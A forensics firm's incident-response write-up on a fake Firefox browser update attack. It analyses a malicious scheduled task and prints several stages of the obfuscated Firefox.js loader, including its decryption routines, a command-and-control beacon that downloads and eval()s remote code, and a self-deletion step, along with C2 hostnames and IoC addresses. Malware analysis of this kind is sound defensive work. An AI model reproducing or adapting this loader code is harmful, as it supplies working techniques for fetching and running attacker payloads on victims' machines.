CCL SOLUTIONS GROUP
incorporating evidencetalks

Fake browser update attacks

Join CCL's Joshua Tedd and Sergey Ermolovich as they take us through their investigation into the pathology of fake browser update attacks and advise on how organisations can better manage the risks arising from this type of cyber threat.

Garmin's services were interrupted for several days and a large ransom may have been paid to restore them. WastedLocker, like some other strains of malware which we have encountered, is distributed via fake software updates. This is a type of attack whereby a compromised website uses **social engineering tactics** to trick users into believing that the web browser (or some other software such as a plug-in) is obsolete and offers the user a bogus update. If the update is accepted, malicious code is downloaded and infects the computer.

In late 2019, CCL's Joshua Tedd and Sergey Ermolovich provided incident response investigation services to a new client whose network had been compromised. The cause of the compromise had ultimately originated from a fake web browser update served to an unwitting employee who had been shopping for supplies. The purpose of their investigation was to determine how the breach had occurred and how it had managed to spread across the client's network from one compromised system ('Patient Zero').

This article covers their examination of Patient Zero in order to determine how the attack began. Certain specific details have been redacted to protect the client's identity.

CCL SOLUTIONS GROUP incorporating evidencetalks

Circumstances

We took receipt of a number of exhibits, including desktops, laptops and external hard drives from the client. The client also shared documents and reports detailing their infrastructure and the circumstances surrounding the case. Patient Zero had been identified to be a corporate asset: a laptop computer used by an employee.

The initial Incident Response team collected a number of Indicators of Compromise (IoC) from a Carbon Black instance on the client's network. These IoC included the following IP address:

185.243.113[.]122

This IP address had been identified as potentially being connected to a threat because multiple endpoints had connected to it around the same time on 07 October 2019. However, a search for this IP address using our own proprietary IoC triage tool did not identify any previously reported malicious behaviour. This may suggest that the IP address is distinct to this particular attack.

As a result of the client's own internal investigation, the potential use of the **Dridex** malware and the presence of Ransomware was speculated. However, upon our own examination of the exhibits, this did not appear to be the case as no files appeared to have been encrypted. Instead, our analysis suggested that a Remote Access Trojan (RAT) was actually the type of malware used, alongside malicious scripts.

Finding the source

After creating a forensic image of Patient Zero, its contents were indexed and searched. After searching for activity around 07 October 2019, the following Windows Scheduled Task was discovered, due to trigger at 10 am on that day:

CCL SOLUTIONS GROUP
incorporating evidencetalks

```
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>2019-10-07T10:00:30</Date>
    <Author>[redacted]</Author>
  </RegistrationInfo>
  <Triggers>
    <TimeTrigger>
      <Repetition>
        <Interval>PT60M</Interval>
        <StopAtDurationEnd>false</StopAtDurationEnd>
      </Repetition>
      <StartBoundary>2019-10-07T10:00:00</StartBoundary>
      <Enabled>true</Enabled>
    </TimeTrigger>
  </Triggers>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>false</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <Duration>PT10M</Duration>
      <WaitTimeout>PT1H</WaitTimeout>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>C:\Users\[redacted]\AppData\Roaming\1L2ME\slui.exe</Command>
    </Exec>
  </Actions>
  <Principals>
    <Principal id="Author">
      <UserId>[redacted]</UserId>
      <LogonType>InteractiveToken</LogonType>
      <RunLevel>LeastPrivilege</RunLevel>
    </Principal>
  </Principals>
</Task>
```

Windows Scheduled Task

The task was scheduled to execute the file `slui.exe` located in:

`C:\Users\<user>\AppData\Roaming\1L2ME`

What's interesting about this is that `slui.exe` is a legitimate Windows executable file, but it should not be residing in the user's AppData folder. This is where the second part of the attack began, which may be a topic for another article in the future...

Scheduled Tasks on Windows are stored as files in `C:\Windows\System32\Tasks`. Our task in this case was named `Kteyohsjuch` and was created on 03 June 2019 at 08:49:08. The plot thickens! Based on this date and time, another search was performed for activity that occurred on 03 June 2019. The results included notable web browser activity which took place around the time of creation of the task. The browser had been used to visit the following websites:

- hxxps://www.pink-dots[.]de/farbwelten/dunkelblau/1048/12-papiertueten-koenigsblau
- hxxps://www.amazon[.]de/Blaue-BENAVA-Geschenktüten-Papiertüten-Adventskalendern
- hxxps://www.idee-shop[.]com/rico-design-papiertuete-blau
- hxxp://www.partystrolche[.]de/papiert%C3%BCten-blau-p-8659.html

Further examination indicated that the user had been redirected from `partystrolche[.]de` to a malicious website harbouring a fake update attack.

In the timeline of user activity, we observed that following the redirect, the user did indeed download a file from the website; it was named `Firefox.Update.326f86.zip`.

Analysing the fake update

The ZIP file contains a JavaScript file named `Firefox.js`. It was extracted, opened in a text editor and reformatted to make it easier to read. But as the following image illustrates, the script was heavily obfuscated:

CCL SOLUTIONS GROUP
incorporating evidencetalks

```
(function (jysmuyxnup0) {
    function beboluej() {
        var pofzu = 0;
        for (; pofzu < jysmuyxnup0[("K", "L", "l") + ("I", "e", "O", "e") + "n" + "g" + ("k", "p", "X", "Q", "c", "t") + ["a", "j", "h", "m"][(-233 + 235)]];
        pofzu += 2) {
            osmavbge[["S", "n", "N", "r", "p", "p", "a"][(949 - 944)] + (30)[("I", "I", "t") + ["K", "F", "o", "B"][2] + "S" + ["G", "t", "v", "c"][1] + "r" +
            "i" + "n" + ("l", "n", "v", "F", "g")](0x24) + "s" + ("M", "G", "K", "h")](parseInt(jysmuyxnup0[("O", "q", "I", "K", "s") + ("u", "h", "x", "J",
            "u") + "b" + ["x", "s", "K", "N"][1] + ("i", "P", "t") + ("b", "c", "I", "r")](pofzu, (19, 31, 24, 94, 2)), (12, 52, 18, 16)));
        }
        yrri();
    };
    var osmavbge = [];
    var zdyipgude = ["0", "R", "n", "k", "h", "b", "K"][3] + "y" + "r" + ("S", "I", "o", "p", "u") + (29)["t" + ("a", "N", "F", "j", "o") + "S" + ("g", "H",
    "B", "o", "t") + ("S", "U", "T", "L", "r") + "i" + ["n", "H"][(-843 + 843)] + ["M", "g", "B", "V", "c", "U", "o"][(39, 84, 1)]](0x24) + ["v", "S", "K",
    "i", "G", "d"][(-671 + 674)] + "h";

    function tugmjioc() {
        var rujoqzaro = 0;
        for (; rujoqzaro < osmavbge[("c", "U", "H", "U", "y", "I") + "e" + "n" + ("J", "N", "E", "g") + "t" + "h"];) {
            osmavbge[rujoqzaro] = "B" [
                ["y", "s", "c", "m", "s", "v", "b"][2] + ("C", "R", "O", "g", "o") + ("B", "u", "k", "x", "n") + ["s", "b", "W", "Y", "E"][(89, 38, 79, 0)] +
                "t" + "n" + (30)[("M", "C", "J", "n", "I", "t") + ("G", "T", "v", "b", "o") + ("G", "c", "D", "t", "S") + "t" + "n" + ("n", "C", "i") + "n" +
                ["g", "p", "h"][(904 - 904)]](36) + "c" + ["e", "f", "E", "V", "t", "r"][(40, 39, 3, 4)] + ["v", "O", "K", "w", "o", "h"][4] + ["v", "I", "q",
                "n", "P", "x"][(89, 61, 81, 49, 41, 3)]
            ][
                ["f", "G"][0] + "n" + ["e", "u", "G", "M", "a", "o"] + ("o", "z", "Q", "m") + "C" + ["h", "C", "O", "x"][0] + ("T", "u", "d", "a") + ("v", "E",
                "a", "U", "n") + ("z", "v", "A", "C", "b", "C") + ["K", "I", "D", "o", "j", "N"][(81 - 78)] + "d" + ("w", "H", "e")
            ](osmavbge[rujoqzaro]);
            rujoqzaro++;
        }
        ffuzpaqe3();
    };

    function yrri() {
        var ikbot = 1;
        for (; ikbot <= muxeifco["l" + "e" + ("n", "C", "t", "U", "n") + "g" + "t" + "h"];) {
            cruok = (muxeifco["s" + (30)[["p", "o", "k", "t", "v", "B"][3] + ["l", "o", "w", "U", "R", "P"][(-933 + 934)] + ["B", "i", "t", "S", "R"][3] +
            ["i", "i", "N", "t", "I", "j", "v"][(86 - 83)] + "r" + ("c", "m", "p", "i") + ["Y", "t", "n", "v", "J", "Q"][(62, 88, 39, 32, 2)] + "g"](0x24) +
            ["Q", "A", "x", "U", "b", "Q"][(53, 18, 53, 4)] + "s" + ("d", "k", "Q", "t") + "r"](muxeifco[["l", "E"][(3, 84, 20, 65, 32, 0)] + ["e", "i", "S",
            "p"][0] + "n" + ["B", "A", "N", "W", "L", "g", "k"][parseInt(11, 4)] + ("B", "D", "K", "a", "W", "t") + "h"] - ikbot)]["S", "s", "P", "f", "M",
            "V"][1] + ("N", "j", "L", "p") + ["l", "l", "z", "f", "i", "v"][(18, 76, 81, 1)] + "i" + "t"]("");
            for (var oviphgogo = 0; oviphgogo < osmavbge["l" + ["s", "e", "x"][(752 - 751)] + ["n", "h", "c", "N"][(41, 35, 0)] + ["r", "k", "g", "j", "c"][
            (-678 + 680)] + ("c", "f", "f", "Y", "t") + ["h", "j"][0]]; oviphgogo++) {
                osmavbge[oviphgogo] = osmavbge[oviphgogo] ^ cruok[oviphgogo % cruok[("h", "k", "p", "X", "e", "l") + ("n", "w", "A", "e") + "n" + ("z", "a",
                "I", "g") + "t" + "h"]]["j", "s", "c") + ["h", "c", "D"][(468 - 468)] + ["I", "W", "a", "k"][(318 - 316)] + "r" + ("v", "s", "U", "c", "M",
                "C") + "o" + "d" + ["F", "W", "i", "u", "O", "e", "T"][5] + ["A", "J", "k", "P"][0] + ("h", "g", "A", "F", "t")]((279 - 279));
            };
            ikbot++;
        }
```

Firefox.js Snippet (first 33 lines)

A rather large block of data is present at the end of the file; this comprises encrypted code that this script decrypts and then executes. But there are multiple deobfuscation steps and function calls which are made first, and the script itself looks rather daunting. As with most obfuscated code however, there is usually a way for the script to execute the decrypted code. Function calls in the JavaScript programming language are denoted with `()`, so looking for pairs of parentheses may reveal where the execution occurs.

We can then use a debugger to stop execution at that line in the code and take a closer look. Looking through the script, line 50 looks like a good place to start:

```
50  xsyyz["t" + "o" + (28)[("Y", "y", "t") + "o" + ["S", "U"][0] + "t" + "r" + "i" + "n" + "g"](36)
      .toUpperCase() + ("W", "s", "t") + ["D", "K", "W", "r", "g"][(-749 + 752)] + "i" + "n" + "g"]();
```

Execution of deobfuscated code (line 50)

The debugger built into the Chrome web browser **(DevTools)** was used to set break points in the script and step through the code. It is very important that a virtual machine or an isolated, disposable machine is used for this task to prevent infecting ourselves.

ANALYST TIP: In order to debug a script, create a dummy HTML file and import the JavaScript file
using `<script>` tags:

```
<html>
        <title>Debugging</title>
        <body>
                <script src="Firefox.js"></script>
        </body>
</html>
```

Running the script after placing a breakpoint at line 50, and then stepping into the function call, we get something that looks like this:

```
function dec(input) {
    ; /*hdBl4toKNxZG9h5NE7WM*/ ;
    var thisFunctionText = arguments.callee.toString();
    var callerFunctionText = arguments.callee.caller.caller.toString();
    var key = [212, 201, 166, 56, 4, 255, 70, 231, 241, 176];
    var i;
    try {
        callerFunctionText += navigator.appCodeName;
        callerFunctionText += 'callerFunctionText';
    } catch (e) {}
    key = encKey(key, callerFunctionText);
    key = encKey(key, thisFunctionText);
    var enc_str = [];
    for (i = 0; i < input.length; i += 2) {
        enc_str.push(parseInt(input.substr(i, 2), 16));
    };
    var tmpKey = [];
    var tmpKeyLength = 1;
    while (tmpKeyLength <= key.length) {
        tmpKey = key.slice(key.length - tmpKeyLength);
        for (i = 0; i < enc_str.length; i++) {
            enc_str[i] = enc_str[i] ^ tmpKey[i % tmpKey.length];
        }
        tmpKeyLength++; /*if(typeof debug !== 'undefined' && debug === true) {WSH.Echo(enc_str.join(' '));}*/
    };
    for (i = 0; i < enc_str.length; i++) {
        enc_str[i] = String.fromCharCode(enc_str[i]);
    };
    (new Function(enc_str.join(''))());

```

Second script

Well, this looks a lot more manageable! This is the script contained within the block of data at the end of the first. However, this script also contains a block of data at the end… perhaps another script? But why? Well, this second script is likely intended to be yet another protection against effective analysis. While the first script obfuscates (i.e. hides away) the second script, this script provides an anti-analysis trick! Its job is to decrypt the third (and thankfully final) part of the script and execute it on line 29 (notice the `()`?).

But it uses a copy of itself and a copy of the previous script to derive a decryption key; this occurs on lines 3 and 4. This ensures that nobody has tampered with the script and may be an attempt to impede analysis. The decryption key is derived using the following function:

```
31      function encKey(key, str) {
32          var keyIndex;
33          var keyTemp;
34          var i;
35          var modifier = str.length % 255;
36          for (i = 0; i < str.length; i++) {
37              keyIndex = i % key.length;
38              keyTemp = key[keyIndex];
39              keyTemp = (keyTemp ^ str.charCodeAt(i)) ^ modifier;
40              key[keyIndex] = keyTemp;
41          };
42          return key;
43      }
44  }
```

Function to derive decryption key

ANALYST TIP: Often scripts such as these will formatted so that all of the code is on a single line.
This makes it difficult to add breakpoints, but the following can be done to aid analysis:

- Beautify the script ahead of time using the text editor of your choice; be aware that this will add new lines to the end of each perceived line (usually `\n` or `\r\n`).
- Beautify the script within the debugger (e.g. Chrome DevTools). Doing so during the debugging process will not add any additional characters to the script.

The second method is particularly relevant here, as changing the script in any way will result in an incorrect decryption key!

Once it has been derived, the key is used to decrypt the block of data at the end of the script, via the routine at line 19. The decrypted data is then executed on line 29. Placing another breakpoint here and stepping into the function call, we wind up in the third script!

The following extract from the third script shows functions responsible for decrypting a URL and decoding content:

```
1  (function anonymous() {
2      var fileUrl = getUrl('7f6ixg6.ty1t5pjm6e3/xoucz.:sgn6o4i/tsucl#o.sfg#n4ipt:t&a7m#.dn/e/egr.g/');
3      var tid = getUrl('.710/50');
4      var content1 = '';
5      var authHeader = 'Age';
6      var authKey = getRandHexStr(16);
7      fileUrl = 'http://' + getRandHexStr(8) + '.' + fileUrl;
8      function endOfWork() {
9          try {
10             if (WScript.ScriptFullName.split("\\").pop() == 'Chrome.js') {
11                 deleteSelf();
12             }
13         } catch (error) {}
14     }
15     function getRandHexStr(length) {
16         var text = "";
17         var possible = "abcdef0123456789";
18         for (var i = 0; i < length; i++)
19             text += possible.charAt(Math.floor(Math.random() * possible.length));
20         return text;
21     }
22     function a2hex(str) {
23         var arr = [];
24         for (var i = 0, l = str.length; i < l; i++) {
25             var hex = "00" + (Number(str.charCodeAt(i)).toString(16));
26             hex = hex.substr(hex.length - 2);
27             arr.push(hex);
28         }
29         return arr.join('');
30     }
31     function getUrl(url) {
32         var res = '';
33         url = url.split('');
34         for (var i = 0; i < url.length; i++) {
35             if (i % 2 === 1) {
36                 res += url[i];
37             }
38         }
39         res = res.split("").reverse().join("");
40         return res;
41     }
42     function decodeContent1(str) {
43         var offset = 2;
44         var content1_length = parseInt(str.substr(offset + 0, 6), 16);
45         var content1_body = str.substr(offset + 6, content1_length * 2);
46         content1 = decPayload(content1_body);
47     }
```

Third Script – URL decryption and content decoding

The following extract shows functions responsible for encrypting strings and decoding payloads:

```
function decPayload(str) {
    var body;
    var key;
    var i;
    var enc_str = [];
    for (i = 0; i < str.length; i += 2) {
        enc_str.push(parseInt(str.substr(i, 2), 16));
    }
    ;body = enc_str.slice(enc_str[0] + 1);
    key = enc_str.slice(1, enc_str[0] + 1);
    for (i = 0; i < body.length; i++) {
        body[i] = body[i] ^ key[i % key.length];
    }
    for (i = 0; i < body.length; i++) {
        body[i] = String.fromCharCode(body[i]);
    }
    ;return body.join('');
}
function encStr(str) {
    var key = getRandomInt(0, 255);
    var i;
    str = str.split('');
    for (i = 0; i < str.length; i++) {
        str[i] = str[i].charCodeAt(0) ^ key;
    }
    ;for (i = 0; i < str.length; i++) {
        str[i] = String.fromCharCode(str[i]);
    }
    ;var extra_char = getRandomInt(0, 255);
    return a2hex(String.fromCharCode(extra_char) + String.fromCharCode(key) + str.join(''));
}
function getRandomInt(min, max) {
    return Math.floor(Math.random() * (max - min + 1)) + min;
}
```

Third Script – String encryption and payload decoding functions

CCL SOLUTIONS GROUP incorporating evidencetalks

The following extract shows where the main functionality of the script is executed. By setting breakpoints at different points in the code, it is possible to view what each of the values are, and step through what the script is doing.

```
function initialRequest1() {
    var req = [];
    req.push(getRandHexStr(8));
    req.push(tid);
    req.push(+(new Date()));
    var q = "";
    try {
        for (var i = 0; i < req.length; i++) {
            q += i + "=" + encodeURIComponent('' + req[i]) + "&";
        }
        q = encStr(q);
    } catch (error) {}
    var xmlHttp;
    var attempts = 2;
    var timeout = 3 * 1000;
    for (var i = 0; i < attempts; i++) {
        try {
            xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");
            xmlHttp.open("POST", fileUrl, false);
            xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            xmlHttp.setRequestHeader(authHeader, authKey);
            xmlHttp.send('a=' + q);
            if (xmlHttp.status == 200) {
                return xmlHttp.responseText;
            } else {}
        } catch (error) {}
        try {
            WScript.Sleep(timeout);
        } catch (error) {}
    }
    return false;
}
function deleteSelf() {
    var selfName = WScript.ScriptFullName;
    try {
        var fs = new ActiveXObject("Scripting.FileSystemObject");
        if (fs.FileExists(selfName)) {
            fs.DeleteFile(selfName, true);
        }
    } catch (error) {}
}
var data1 = initialRequest1();
if (data1 !== false && data1 != '0' && data1 != '') {
    decodeContent1(data1);
    eval(content1);
    if (typeof step2 == 'function') {
        step2();
    } else {
        endOfWork();
    }
```

Third Script - HTTP POST request and clean-up functions

CCL SOLUTIONS GROUP incorporating evidencetalks

In summary, this final script performs the following steps:

- A URL is decoded and saved in the `fileUrl` variable. In this instance, the (sanitised) URL is `green.mattingsolutions[.]co/empty.gif.` A random 8-character string is generated and prepended to the URL, resulting in a URL similar to the following (sanitised) example: `hxxp://2e0332e3.green.mattingsolutions[.]co/empty.gif.`
- The code to generate a new HTTP POST request is called once a few more variables are constructed, within the `initialRequest1()` function. A randomly generated 8-character hexadecimal string (e.g. `b9798426`), a `TID` value which was decoded at the beginning of the script (in this case `507`) and the current date and time in the Unix epoch format (e.g. `1576684784554`) are then concatenated together (e.g. `0=b9798426&1=507&2=15766847845548`) and then passed through an encryption routine to produce an encrypted string.
- An HTTP POST request is then generated, destined for the generated URL, with a payload containing the encrypted string. An example POST request sent by the script is displayed in the image below.
- The script then waits for a valid response from the command and control server, awaiting a response with HTTP status code `200`. When a response is received, it attempts to decode the content by deriving a key contained within the received payload. The resulting JavaScript is then executed using the `eval()` command on line 126.
- The script then determines if a function exists with the name `step2`. If one does not exist, it performs a clean-up via the `endOfWork` function and shuts down. The `endOfWork` function attempts to find the file name and path relating to itself, and then deletes the original script.

```
1   POST /empty.gif HTTP/1.1
2   Accept: */*
3   Accept-Language: en-us
4   Age: 916941d6a989b1d0
5   Content-Type: application/x-www-form-urlencoded
6   Accept-Encoding: gzip, deflate
7   User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2;
      .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0;
      .NET4.0C; .NET4.0E)
8   Host: 6aa12e13.green.mattingsolutions.co
9   Content-Length: 72
10  Connection: Keep-Alive
11  Cache-Control: no-cache
12
13  a=e5dbebe6e2eae8e2eeecb8b8fdeae6eeebecfde9e6eaeeecedefe2ebece3e2eee3ebfd
```

HTTP POST request generated by the script

Our analysis of this payload was carried out some time after the initial attack. Therefore, the next payload the script would have retrieved and executed was no longer available, perhaps having been taken down by the attacker or by law enforcement. We believe that payloads downloaded and executed by this loader created the scheduled task, copied the legitimate Windows executable into the `AppData` folder, and also placed a malicious version of one of the required DLLs in the same folder, ready to begin the second stage of the attack which took place in October 2019.

CCL SOLUTIONS GROUP incorporating evidencetalks

Managing the risk

This is only one example of the sort of malware campaign which uses legitimate looking websites to host harmful software. Other similar attacks have been observed which deploy banking trojans, spyware and ransomware to unwitting victims. The financial and reputational damage caused by such malware could be devastating.

The delivery of the initial payload in this type of attack relies on social engineering and can often evade traditional anti-virus scanning software. The National Cyber Security Centre advises adopting a **'defence in depth'** approach to tackle the risk of malware infection. Technical solutions, such as backups, security updates, filters and firewalls, must be accompanied by security education so that staff can learn to spot and avoid potential threats online.

Cyber attacks are **becoming more frequent** and human error is a major factor in many of them. Security awareness training can be used to inform staff about the range of threats that they could encounter and teach them how to recognise common attack techniques, such as phishing and social engineering. It is also an opportunity to remind them of security policies and guidelines which will keep them and the business safe. Regular, engaging, refresher sessions will help to ensure that standards do not slip over time.

With adequate preparation, a malware attack need not be disastrous. When a compromise does occur however, it is important to be able to return to business as usual quickly, but it also vital that lessons are learnt to avoid another incident. This may require a full forensic investigation of the affected systems, as described in this article.

To learn more about how CCL can help your organisation be ready to face the risks of cyber attacks, and to respond if the worst does occur, please get in touch.

contact@cclsolutionsgroup.com | +44 (0)1789 261 200